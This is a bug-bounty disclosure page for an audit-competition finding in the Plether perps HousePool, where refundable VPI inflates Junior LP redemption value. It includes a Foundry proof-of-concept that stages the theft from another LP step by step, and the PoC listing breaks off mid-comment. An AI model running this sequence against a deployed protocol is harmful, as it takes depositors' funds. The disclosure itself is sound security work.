Refundable VPI inflates a Junior LP redemption
A skew-increasing trade charges a volume price impact (VPI) that is added to the Junior LP pool's assets and therefore to Junior share value, even though the trader can recover that charge as a rebate when closing. A Junior LP who also trades can redeem at the inflated value between opening and closing, leaving the remaining Junior LPs to fund the later rebate.
- Disclosed after under an hour
#99940 [SC-Critical] Refundable VPI inflates a Junior LP redemption
Submitted on Nov 15th 2026 at 19:59:13 UTC by @gandu for Audit Competition | Plether
- Report ID: #99940
- Report Type: Smart Contract
- Report severity: Critical
- Target: https://github.com/immunefi-team/audit-comp-plether/blob/a82d4fefb02768e5b3bddcc97dee371eee24fea8/packages/perps/src/HousePool.sol
- Impacts:
- Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Description
Brief/Intro
A skew-increasing trade adds VPI cash to Junior LP share value even though the trader can recover that charge when closing. A Junior LP who redeems between the open and close can receive an inflated payout; the Junior LPs who remain bear the later rebate. In production, an LP who also trades could time this sequence to extract USDG value from other Junior depositors.
Vulnerability Details
- A skew-increasing open charges volume price impact (VPI) based on the change in squared skew and the pool's economic depth.
- CfdEngineSettlementSidecar.executeOpen sends the collected charge to HousePool as a revenue inflow.
- The inflow raises physical pool assets before the position has closed.
- At LP epoch settlement, HousePoolAccountingLib.buildReconcileSnapshot determines distributable value from physical assets, terminal price PnL, and trader claims.
- That calculation has no deduction for positive VPI collected from an open position that may receive a close rebate.
- The waterfall therefore includes the collected amount in Junior NAV, affecting the price used to fund Junior redemptions.
- If the position closes and reverses the skew, close-side VPI is negative. The lifetime clamp limits the rebate to VPI already paid; it does not make the charge permanently owned by the pool.
- Close settlement pays the permitted rebate from pool cash. Junior holders who left at the earlier NAV keep their proceeds, while those still invested bear the outflow.
- An LP-trader can request redemption, open the skew-increasing trade after the epoch request cutoff, fund the redemption at elevated NAV, and close at the same market price.
- The same-state control and no-redemption variant isolate the LP pricing effect: the finding does not require a larger-than-normal rebate or a market-price change.
snapshot.distributable = terminalAssets - terminalLiabilities;
Impact Details
In the principal test, the trade pays 8,001.60 USDG VPI and the attacker's redemption is funded 4,800.16 USDG above the no-trade control. After two execution fees and carry, the attacker is 1,599.22 USDG better off; another Junior LP loses 3,198.22 USDG of value. A later funded claim of identical victim shares pays 599,174.878600 USDG versus 599,974.430400 USDG in the control, a realized 799.551800 USDG token shortfall on that claim. An attacker-supplied-capital variant records 7,252.38 USDG attacker gain and 11,089.94 USDG honest Junior loss. The 40% skew cap, capital requirement, and LP epoch timing limit each cycle; the selected impact is the demonstrated transfer of user funds.
Proof of Concept
Proof of Concept
Place PoC_RefundableVpiNavExtraction.t.sol at packages/perps/test/poc/ in the assessed checkout. The control prices a redemption without the trade. The attack branch opens a 4,000,800 USDG LONG, pays the VPI charge, settles the redemption, and closes at the same price with a 6,401.28 USDG rebate. The suite checks both LP outcomes and the victim's later token claim. It changes no in-scope source contract.
forge test --root packages/perps --offline --match-path 'test/poc/PoC_RefundableVpiNavExtraction.t.sol' -vv
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.8.35;
import {BasePerpTest} from "../perps/BasePerpTest.sol";
import {CfdMath} from "@plether/perps/CfdMath.sol";
import {CfdTypes} from "@plether/perps/CfdTypes.sol";
import {OrderV3Types} from "@plether/perps/OrderV3Types.sol";
import {IHousePool} from "@plether/perps/interfaces/IHousePool.sol";
import {IOrderRouterAdminHost} from "@plether/perps/interfaces/IOrderRouterAdminHost.sol";
import {MockPyth} from "@plether/test-utils/MockPyth.sol";
import {Vm} from "forge-std/Vm.sol";
// ─────────────────────────────────────────────────────────────────────────────
// Single-file PoC: refundable VPI counted in Junior LP NAV (Plether perps, commit a82d4fef).
// Place at packages/perps/test/poc/PoC_RefundableVpiNavExtraction.t.sol and run:
// cd packages/perps && forge test --match-path 'test/poc/PoC_RefundableVpiNavExtraction.t.sol' -vv
// Two test contracts, 12 tests, nothing under src/ modified:
// PART 1 RefundableVpiNavExtractionTest — control, attack, victim's later USDG claim, attack at max confidence
// PART 2 RefundableVpiVariantsTest — passive variant, 30% share, 60/40 mixes, attacker-supplied capital,
// no-redemption rebate control, cycle timing
// ─────────────────────────────────────────────────────────────────────────────
/// @notice PART 1 — PoC: REFUNDABLE VPI COUNTED AS LP NAV.
/// A skew-increasing open pays VPI V into HousePool as `Revenue/CashArrived`
/// (CfdEngineSettlementSidecar.executeOpen -> recordClaimantInflow). LP pricing
/// (HousePoolAccountingLib.buildReconcileSnapshot = physical + terminal price delta - trader claims) has no VPI
/// term, so V is distributed to tranche principals at the next reconcile. The same position's skew-reducing
/// close is rebated up to its lifetime VPI (CloseAccountingLib lifetime clamp) from free pool cash
/// (CfdEnginePlanLib._planIsolatedCloseSettlement). An attacker who is both a Junior LP (fraction f) and the
/// trader requests a full Junior redemption, opens at the skew cap just before the LP epoch boundary, gets
/// redeemed at a NAV that includes V, then closes and is refunded V by the remaining LPs.
/// @dev Release parameters: vpiFactor 0.01e18, maxSkewRatio 0.4e18, maint 10 bps, IM 20 bps, execution fee 4 bps,
/// settlement buffer 25 bps, bountyBps 10, minOpenNotional 1,000 USDG, adverseConfidenceMultiplierBps 2500,
/// Senior cap 40M / maxSeniorShareBps 8000, baseCarryBps 500, seniorRateBps 800.
contract RefundableVpiNavExtractionTest is BasePerpTest {
address internal constant ATTACKER = address(0xA77AC4); // Junior LP (~60%) and trader
address internal constant VICTIM = address(0x71C7144); // honest Junior LP (~40%)
address internal constant SAM = address(0x5A11); // honest Senior LP
uint256 internal constant SENIOR_ASSETS = 4_000_000e6;
uint256 internal constant ATK_JUNIOR_ASSETS = 3_600_000e6;
uint256 internal constant VIC_JUNIOR_ASSETS = 2_400_000e6;
uint256 internal constant ATK_TRADER_DEPOSIT = 100_000e6;
uint256 internal constant ORDER_MARGIN = 40_000e6; // 1% of ~4M notional; refundable, irrelevant to economics
uint256 internal constant PRICE = 1e8;
uint256 internal constant VPI_FACTOR = 0.01e18;
uint64 internal constant MAX_CONF = 100_000; // 10 bps of a 1.00 mark = basketMaxConfidenceRatioBps
bytes32 internal constant ACTION_REBATE_SETTLED = keccak256("ActionRebateSettled(address,uint256,uint256,uint256)");
struct Cycle {
// LP and wealth valuations (6dp USDG)
uint256 attackerStart;
uint256 attackerEnd;
uint256 victimStart;
uint256 victimAfterSettle;
uint256 victimEnd;
uint256 juniorTotalBeforeOpen;
uint256 juniorTotalAfterOpen;
uint256 juniorSupply;
uint256 victimShares;
uint256 attackerShares;
uint256 attackerQuoteAtSettle;
uint256 attackerFunded;
uint256 treasuryStart;
uint256 treasuryAfterOpen;
uint256 treasuryEnd;
uint256 seniorStart;
uint256 seniorEnd;
// open
uint256 lots;
uint256 notional;
uint256 depthAtOpen;
uint256 maxSkewAtOpen;
uint8 nextLotRevertCode;
uint256 entryPrice;
uint256 vpiCharged;
uint256 feeOpen;
uint256 lAfterOpen;
uint256 bAfterOpen;
uint256 eAfterOpen;
// close
uint256 depthAtClose;
int256 rawCloseVpi;
uint256 feeClose;
uint256 rebateAssessed;
uint256 rebatePaid;
uint256 rebateWaived;
bool rebateEventSeen;
uint256 freeCashBeforeClose;
uint256 attackerChBeforeClose;
uint256 attackerChAfterClose;
uint256 poolBeforeClose;
uint256 poolAfterClose;
}
struct VictimExit {
uint256 requestId;
uint256 maturity;
uint256 requestedShares;
uint256 claimedShares;
uint256 paidAssets;
uint256 walletBefore;
uint256 walletAfter;
uint256 residualShares;
uint256 residualValue;
uint256 seniorAssetsAtClaim;
}
// ------------------------------------------------------------------ configuration
function _riskParams() internal pure override returns (CfdTypes.RiskParams memory) {
return CfdTypes.RiskParams({
vpiFactor: VPI_FACTOR,
maxSkewRatio: 0.4e18,
maintMarginBps: 10,
initMarginBps: 20,
fadMarginBps: 300,
baseCarryBps: 500,
minBountyAssets: 1e6,
bountyBps: 10,
keeperShareBps: 5000,
protocolShareBps: 0
});
}
function _initialJuniorDeposit() internal pure override returns (uint256) {
return 0;
}
function _initialSeniorDeposit() internal pure override returns (uint256) {
return 0;
}
function setUp() public override {
super.setUp();
// Propose both timelocked configs together so one 72h wait lands on Thursday (not the weekend closure).
IOrderRouterAdminHost.RouterConfig memory config = _routerConfig();
config.adverseConfidenceMultiplierBps = 2500; // release value
config.minOpenNotionalAssets = 1000e6; // release value
routerAdmin.proposeRouterConfig(config);
IHousePool.PoolConfig memory poolConfig = _currentPoolConfig();
poolConfig.maxSeniorExposureAssets = 40_000_000e6; // release Senior covenant
poolConfig.maxSeniorShareBps = 8000;
pool.proposePoolConfig(poolConfig);
uint256 activation = vm.getBlockTimestamp() + 72 hours + 1;
if (pool.poolConfigActivationTime() > activation) {
activation = pool.poolConfigActivationTime();
}
vm.warp(activation);
routerAdmin.finalizeRouterConfig();
pool.finalizePoolConfig();
assertFalse(engine.isOracleFrozen(), "weekday setup");
_fundJunior(ATTACKER, ATK_JUNIOR_ASSETS);
_fundJunior(VICTIM, VIC_JUNIOR_ASSETS);
_fundSenior(SAM, SENIOR_ASSETS);
uint256 unlock = juniorVault.lastDepositTime(VICTIM) + juniorVault.DEPOSIT_COOLDOWN();
uint256 unlockAtk = juniorVault.lastDepositTime(ATTACKER) + juniorVault.DEPOSIT_COOLDOWN();
if (unlockAtk > unlock) {
unlock = unlockAtk;
}
if (vm.getBlockTimestamp() < unlock) {
vm.warp(unlock + 1);
}
_fundTrader(ATTACKER, ATK_TRADER_DEPOSIT);
_refreshMark(PRICE);
}
// ------------------------------------------------------------------ oracle helpers
function _livePriceData(
uint256 price
) internal view returns (bytes[] memory updateData) {
bytes32[] memory ids = _basePythFeedIds();
MockPyth.FeedUpdate[] memory ticks = new MockPyth.FeedUpdate[](ids.length);
uint256 previous = engine.lastMarkTime();
for (uint256 i; i < ids.length; ++i) {
ticks[i] = MockPyth.FeedUpdate(
ids[i], MockPyth.MockPrice(int64(uint64(price)), 0, -8, vm.getBlockTimestamp(), previous)
);
}
updateData = new bytes[](1);
updateData[0] = abi.encode(ticks);
}
function _refreshMark(
uint256 price
) internal {
if (vm.getBlockTimestamp() <= engine.lastMarkTime()) {
vm.warp(uint256(engine.lastMarkTime()) + 1);
}
vm.roll(vm.getBlockNumber() + 1);
baseMockPyth.setAllPrices(_basePythFeedIds(), int64(uint64(price)), int32(-8), vm.getBlockTimestamp());
router.updateMarkPrice(_livePriceData(price));
}
/// @dev Real permissionless Router path (same as Engine_HedgedCapacitySquat). With no open position the pool
/// entrypoint is permissionless, so fall back to it if the Router path rejects.
function _settleEpoch(
uint256 price
) internal {
if (vm.getBlockTimestamp() <= engine.lastMarkTime()) {
vm.warp(uint256(engine.lastMarkTime()) + 1);
}
vm.roll(vm.getBlockNumber() + 1);
baseMockPyth.setAllPrices(_basePythFeedIds(), int64(uint64(price)), int32(-8), vm.getBlockTimestamp());
bytes[] memory data = _livePriceData(price);
try router.settleLpEpoch(data) {}
catch (bytes memory err) {
if (_sideOpenInterest(CfdTypes.Side.LONG) + _sideOpenInterest(CfdTypes.Side.SHORT) != 0) {
assembly ("memory-safe") {
revert(add(err, 32), mload(err))
}
}
pool.settleLpEpoch(0, 0);
}
}
/// @dev Legacy execution blob, optionally with a nonzero Pyth confidence on both basket components.
function _execData(
uint256 price,
uint64 conf
) internal returns (bytes[] memory data) {
data = _mockPythUpdateData(price);
if (conf != 0) {
uint256 publishTime = _mockHistoricalPublishTime();
baseMockPyth.setAllUniquePrices(
_basePythFeedIds(),
int64(uint64(price)),
conf,
int32(-8),
publishTime,
publishTime == 0 ? 0 : publishTime - 1
);
}
}
function _exec(
CfdTypes.Side side,
uint256 size,
uint256 margin,
bool isClose,
uint256 price,
uint64 conf
) internal returns (OrderV3Types.ExecutionResult memory r) {
uint32 window = uint32(router.maxExecutionWindowSeconds());
OrderV3Types.OrderRequest memory request = OrderV3Types.OrderRequest({
clientOrderId: bytes32(uint256(router.nextCommitId())),
side: side,
sizeDelta: size,
marginDelta: margin,
targetPrice: (side == CfdTypes.Side.LONG) == isClose ? type(uint256).max : 1,
isClose: isClose,
bounds: OrderV3Types.ExecutionBounds({
submitBy: uint64(vm.getBlockTimestamp()) + uint64(window),
executionWindowSeconds: window,
allowedExecutionModes: 7,
expectedConfigHash: router.lifecycleBook().currentExecutionConfigHash(),
maxExecutionBountyAssets: type(uint256).max,
maxExecutionNotionalAssets: type(uint256).max,
maxGrossAccountDebitAssets: type(uint256).max,
maxActionChargeAssets: type(uint256).max,
maxExplicitFeesAssets: type(uint256).max,
maxPostPositionSize: type(uint256).max,
minPostSettlementBalanceAssets: 0,
minPostPositionEquityAssets: 0,
maxPostLeverageBps: type(uint32).max
})
});
vm.prank(ATTACKER);
uint64 id = router.commitOrder(request);
bytes[] memory data = _execData(price, conf);
vm.roll(vm.getBlockNumber() + 1);
// Self-execution (keepers are permissionless): the open-order execution bounty returns to the attacker.
vm.prank(ATTACKER);
r = router.executeOrder(id, data);
}
// ------------------------------------------------------------------ view helpers
function _previewCode(
uint256 lots,
uint256 margin,
uint256 price
) internal view returns (uint8) {
try engineLens.previewOpenRevertCode(
ATTACKER, CfdTypes.Side.LONG, lots * CfdTypes.SIZE_QUANTUM, margin, price
) returns (uint8 code) {
return code;
} catch {
return type(uint8).max;
}
}
function _maxAdmissibleLots(
uint256 margin,
uint256 price
) internal view returns (uint256) {
uint256 lo;
uint256 hi = 200_000;
while (lo < hi) {
uint256 mid = (lo + hi + 1) / 2;
if (_previewCode(mid, margin, price) == 0) {
lo = mid;
} else {
hi = mid - 1;
}
}
return lo;
}
function _juniorValue(
address lp
) internal view returns (uint256) {
return juniorVault.convertToAssets(juniorVault.balanceOf(lp));
}
/// @dev Clearinghouse settlement balance + wallet USDG + mark value of wallet Junior shares.
function _wealth(
address a
) internal view returns (uint256) {
return clearinghouse.balanceAssets(a) + settlementToken.balanceOf(a) + _juniorValue(a);
}
function _economicDepth() internal view returns (uint256) {
uint256 p = pool.totalAssets();
uint256 c = engine.totalTraderClaimBalanceAssets();
return p > c ? p - c : 0;
}
// ------------------------------------------------------------------ the cycle
function _openAtSkewCap(
Cycle memory c,
uint64 conf
) internal {
c.depthAtOpen = _economicDepth();
c.maxSkewAtOpen = (c.depthAtOpen * 0.4e18) / 1e18;
c.lots = _maxAdmissibleLots(ORDER_MARGIN, PRICE);
c.nextLotRevertCode = _previewCode(c.lots + 1, ORDER_MARGIN, PRICE);
c.notional = c.lots * PRICE; // size * price / 1e20 with size = lots * 1e20
uint256 tBefore = clearinghouse.balanceAssets(PROTOCOL_TREASURY_ACCOUNT);
OrderV3Types.ExecutionResult memory r =
_exec(CfdTypes.Side.LONG, c.lots * CfdTypes.SIZE_QUANTUM, ORDER_MARGIN, false, PRICE, conf);
if (r.status != OrderV3Types.LifecycleStatus.Executed) {
emit log_named_uint("open terminal reason", uint8(r.terminalReason));
}
assertEq(uint8(r.status), uint8(OrderV3Types.LifecycleStatus.Executed), "skew-cap open executed");
int256 vpi;
(,, c.entryPrice,,,, vpi) = engine.positions(ATTACKER);
assertGt(vpi, 0, "open paid positive VPI");
c.vpiCharged = uint256(vpi);
c.treasuryAfterOpen = clearinghouse.balanceAssets(PROTOCOL_TREASURY_ACCOUNT);
c.feeOpen = c.treasuryAfterOpen - tBefore;
c.lAfterOpen = _maxLiability();
c.bAfterOpen = (c.lAfterOpen * engine.settlementBufferBps() + 9999) / 10_000;
c.eAfterOpen = _economicDepth();
}
function _closeAll(
Cycle memory c,
uint64 conf
) internal {
(uint256 size,,,,,,) = engine.positions(ATTACKER);
c.depthAtClose = _economicDepth();
c.rawCloseVpi = CfdMath.calculateVPI((size * PRICE) / 1e20, 0, c.depthAtClose, VPI_FACTOR);
c.freeCashBeforeClose = pool.totalAssets() - engine.totalTraderClaimBalanceAssets();
c.poolBeforeClose = pool.totalAssets();
c.attackerChBeforeClose = clearinghouse.balanceAssets(ATTACKER);
vm.recordLogs();
OrderV3Types.ExecutionResult memory r = _exec(CfdTypes.Side.LONG, size, 0, true, PRICE, conf);
Vm.Log[] memory logs = vm.getRecordedLogs();
if (r.status != OrderV3Types.LifecycleStatus.Executed) {
emit log_named_uint("close terminal reason", uint8(r.terminalReason));
}
assertEq(uint8(r.status), uint8(OrderV3Types.LifecycleStatus.Executed), "full close executed");
(uint256 sizeAfter,,,,,,) = engine.positions(ATTACKER);
assertEq(sizeAfter, 0, "position fully closed");
for (uint256 i; i < logs.length; ++i) {
if (
logs[i].topics.length == 2 && logs[i].topics[0] == ACTION_REBATE_SETTLED
&& address(uint160(uint256(logs[i].topics[1]))) == ATTACKER
) {
(c.rebateAssessed, c.rebatePaid, c.rebateWaived) =
abi.decode(logs[i].data, (uint256, uint256, uint256));
c.rebateEventSeen = true;
}
}
c.poolAfterClose = pool.totalAssets();
c.attackerChAfterClose = clearinghouse.balanceAssets(ATTACKER);
// Close fee on closed notional at the (adverse) execution price; mirrors CloseAccountingLib.
uint256 shift = PRICE > c.entryPrice ? PRICE - c.entryPrice : 0;
c.feeClose = ((size * (PRICE + shift)) / 1e20) * engine.executionFeeBps() / 10_000;
}
function _idle() internal {
vm.roll(vm.getBlockNumber() + 2);
vm.warp(vm.getBlockTimestamp() + 1);
}
function _runCycle(
bool attack,
uint64 conf
) internal returns (Cycle memory c) {
// Start one minute into a fresh LP epoch so the request targets the imminent epoch (cutoff is 5 minutes).
uint256 epochStart = pool.lpEpochStart(pool.currentLpEpoch() + 1);
vm.warp(epochStart + 60);
_refreshMark(PRICE);
c.victimStart = _juniorValue(VICTIM);
c.attackerStart = _wealth(ATTACKER);
c.treasuryStart = clearinghouse.balanceAssets(PROTOCOL_TREASURY_ACCOUNT);
c.seniorStart = seniorVault.totalAssets();
c.juniorSupply = juniorVault.accruedTotalSupply();
c.victimShares = juniorVault.balanceOf(VICTIM);
// 1. Attacker (Junior LP) requests a full Junior redemption maturing at the next LP epoch.
c.attackerShares = juniorVault.maxRequestRedeem(ATTACKER);
assertEq(c.attackerShares, juniorVault.balanceOf(ATTACKER), "full balance requestable");
vm.prank(ATTACKER);
uint256 reqId = juniorVault.requestRedeem(c.attackerShares, ATTACKER, ATTACKER);
uint256 maturity = pool.lpEpochStart(reqId);
assertEq(maturity, epochStart + 1 hours, "request targets the imminent epoch");
// 2. Two minutes before maturity: skew-increasing LONG at the 40% skew cap (attack only).
vm.warp(maturity - 120);
_refreshMark(PRICE);
c.juniorTotalBeforeOpen = juniorVault.totalAssets();
if (attack) {
_openAtSkewCap(c, conf);
} else {
_idle();
}
_refreshMark(PRICE);
c.juniorTotalAfterOpen = juniorVault.totalAssets();
// 3. Permissionless LP epoch settlement at maturity, same price.
vm.warp(maturity);
_settleEpoch(PRICE);
c.attackerFunded = juniorVault.maxWithdraw(ATTACKER);
c.attackerQuoteAtSettle = juniorVault.convertToAssets(c.attackerShares);
c.victimAfterSettle = _juniorValue(VICTIM);
assertEq(juniorVault.maxRedeem(ATTACKER), c.attackerShares, "attacker redemption fully funded");
vm.prank(ATTACKER);
juniorVault.withdraw(c.attackerFunded, ATTACKER, ATTACKER);
// 4. Attacker closes the whole position at the same price (attack only).
if (attack) {
_closeAll(c, conf);
} else {
_idle();
}
// 5. Final valuation at the same mark.
_refreshMark(PRICE);
c.victimEnd = _juniorValue(VICTIM);
c.attackerEnd = _wealth(ATTACKER);
c.treasuryEnd = clearinghouse.balanceAssets(PROTOCOL_TREASURY_ACCOUNT);
c.seniorEnd = seniorVault.totalAssets();
}
/// @dev Follow the victim's actual async redemption through the next LP epoch. The same fixed share amount is
/// claimed in each snapshot branch, so the USDG wallet delta is the directly realized loss on that tranche.
function _redeemVictimTranche(
uint256 shares
) internal returns (VictimExit memory x) {
x.requestedShares = shares;
x.walletBefore = settlementToken.balanceOf(VICTIM);
uint256 epochStart = pool.lpEpochStart(pool.currentLpEpoch() + 1);
vm.warp(epochStart + 60);
_refreshMark(PRICE);
assertGe(juniorVault.maxRequestRedeem(VICTIM), shares, "victim can request fixed tranche");
vm.prank(VICTIM);
x.requestId = juniorVault.requestRedeem(shares, VICTIM, VICTIM);
x.maturity = pool.lpEpochStart(x.requestId);
assertEq(x.maturity, epochStart + 1 hours, "victim request targets next epoch");
vm.warp(x.maturity);
_settleEpoch(PRICE);
x.claimedShares = juniorVault.claimableRedeemRequest(x.requestId, VICTIM);
assertEq(x.claimedShares, shares, "fixed victim tranche fully funded");
assertGt(juniorVault.claimableRedeemAssets(x.requestId, VICTIM), 0, "victim has funded USDG claim");
vm.prank(VICTIM);
x.paidAssets = juniorVault.claimRedeem(x.requestId, x.claimedShares, VICTIM, VICTIM);
x.walletAfter = settlementToken.balanceOf(VICTIM);
assertEq(x.walletAfter - x.walletBefore, x.paidAssets, "victim actually receives claimed USDG");
assertEq(juniorVault.claimableRedeemRequest(x.requestId, VICTIM), 0, "claim fully consumed");
x.residualShares = juniorVault.balanceOf(VICTIM);
x.residualValue = _juniorValue(VICTIM);
x.seniorAssetsAtClaim = seniorVault.totalAssets();
}
// ------------------------------------------------------------------ logging
function _logCycle(
string memory tag,
Cycle memory c
) internal {
emit log_string(tag);
emit log_named_decimal_uint(" attacker wealth start (CH + wallet + Junior value)", c.attackerStart, 6);
emit log_named_decimal_uint(" attacker wealth end", c.attackerEnd, 6);
emit log_named_decimal_int(" attacker wealth delta", int256(c.attackerEnd) - int256(c.attackerStart), 6);
emit log_named_decimal_uint(" victim Junior value start", c.victimStart, 6);
emit log_named_decimal_uint(" victim Junior value right after settlement", c.victimAfterSettle, 6);
emit log_named_decimal_uint(" victim Junior value end", c.victimEnd, 6);
emit log_named_decimal_int(" victim Junior value delta", int256(c.victimEnd) - int256(c.victimStart), 6);
emit log_named_decimal_uint(" Junior totalAssets before open", c.juniorTotalBeforeOpen, 6);
emit log_named_decimal_uint(" Junior totalAssets after open (pending reconcile)", c.juniorTotalAfterOpen, 6);
emit log_named_decimal_uint(" attacker redemption funded", c.attackerFunded, 6);
emit log_named_decimal_uint(" attacker shares quoted at settlement NAV", c.attackerQuoteAtSettle, 6);
emit log_named_decimal_int(" Senior totalAssets delta (coupon)", int256(c.seniorEnd) - int256(c.seniorStart), 6);
emit log_named_decimal_uint(" protocol treasury delta", c.treasuryEnd - c.treasuryStart, 6);
}
function _logTrade(
Cycle memory c
) internal {
emit log_string("== trade economics ==");
emit log_named_decimal_uint(" economic depth at open D", c.depthAtOpen, 6);
emit log_named_decimal_uint(" 40% skew cap at open", c.maxSkewAtOpen, 6);
emit log_named_uint(" max admissible LONG lots (100 USDG each)", c.lots);
emit log_named_uint(" preview code for lots+1 (4 = SKEW_TOO_HIGH)", c.nextLotRevertCode);
emit log_named_decimal_uint(" notional N", c.notional, 6);
emit log_named_decimal_uint(" entry price (1e8)", c.entryPrice, 8);
emit log_named_decimal_uint(" VPI charged V (lifetime vpiAccrued)", c.vpiCharged, 6);
emit log_named_decimal_uint(" V/N (bps x100)", (c.vpiCharged * 1_000_000) / c.notional, 2);
emit log_named_decimal_uint(" open fee (treasury delta)", c.feeOpen, 6);
emit log_named_decimal_uint(" L after open", c.lAfterOpen, 6);
emit log_named_decimal_uint(" B after open", c.bAfterOpen, 6);
emit log_named_decimal_uint(" E after open", c.eAfterOpen, 6);
emit log_named_decimal_uint(" E - L - B headroom after open", c.eAfterOpen - c.lAfterOpen - c.bAfterOpen, 6);
emit log_named_decimal_uint(" economic depth at close", c.depthAtClose, 6);
emit log_named_decimal_int(" raw close VPI at close depth (pre-clamp, -=rebate)", c.rawCloseVpi, 6);
emit log_named_decimal_uint(" pool free cash (P - claims) before close", c.freeCashBeforeClose, 6);
emit log_named_decimal_uint(" close fee (netted into rebate, stays in pool)", c.feeClose, 6);
emit log_named_decimal_uint(" rebate assessed", c.rebateAssessed, 6);
emit log_named_decimal_uint(" rebate paid", c.rebatePaid, 6);
emit log_named_decimal_uint(" rebate waived", c.rebateWaived, 6);
emit log_named_decimal_uint(" attacker CH balance delta at close", c.attackerChAfterClose - c.attackerChBeforeClose, 6);
emit log_named_decimal_uint(" pool cash outflow at close", c.poolBeforeClose - c.poolAfterClose, 6);
emit log_named_decimal_int(
" carry netted at close (rebate paid - CH credit)",
int256(c.rebatePaid) - int256(c.attackerChAfterClose - c.attackerChBeforeClose),
6
);
}
// ------------------------------------------------------------------ tests
/// @notice Control: the attacker only redeems. Victim value is unchanged apart from the Senior coupon, and the
/// attacker receives exactly its pro-rata Junior share.
function test_Control_RedeemOnly_NoTransfer() public {
Cycle memory c = _runCycle(false, 0);
_logCycle("== CONTROL: redeem only, no trade ==", c);
assertApproxEqAbs(c.attackerFunded, c.attackerQuoteAtSettle, 2, "attacker paid exactly its share");
// Only the Senior coupon (8%/yr on ~4
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the LP reconciliation snapshot counts the collected VPI as distributable pool assets without deducting the potential close-side rebate, so a refundable charge is treated as owned revenue.
Impact
The attacker could extract USDG value from other Junior depositors, with the principal test showing a 1,599.22 USDG gain and a 3,198.22 USDG loss to another Junior LP, though the 40% skew cap, capital requirement and LP epoch timing limit each cycle.
What the attacker needed
Attacker is a Junior LP and a trader; sufficient capital for a large position; redemption requested before epoch cutoff; trade opened just before epoch maturity
How it was found
- The attacker, who is both a Junior LP and a trader, requests a full Junior redemption maturing at the next LP epoch.
- Shortly before maturity the attacker opens a skew-increasing LONG at the skew cap, paying a positive VPI charge into the pool.
- At maturity the LP epoch settles at the same price and the attacker's redemption is funded at the inflated NAV.
- The attacker withdraws the funded amount.
- The attacker closes the whole position at the same price and receives the permitted VPI rebate from pool cash.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Liquidity providers put money into a shared pool and own a share of it; the value of one share is called its NAV. When someone opens a large trade, the pool charges an extra fee for pushing the pool out of balance, and that fee is counted as pool money straight away. But the same trader gets most of that fee back when they close, so the pool's value was briefly overstated and anyone who cashed out in that window took more than their fair share.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.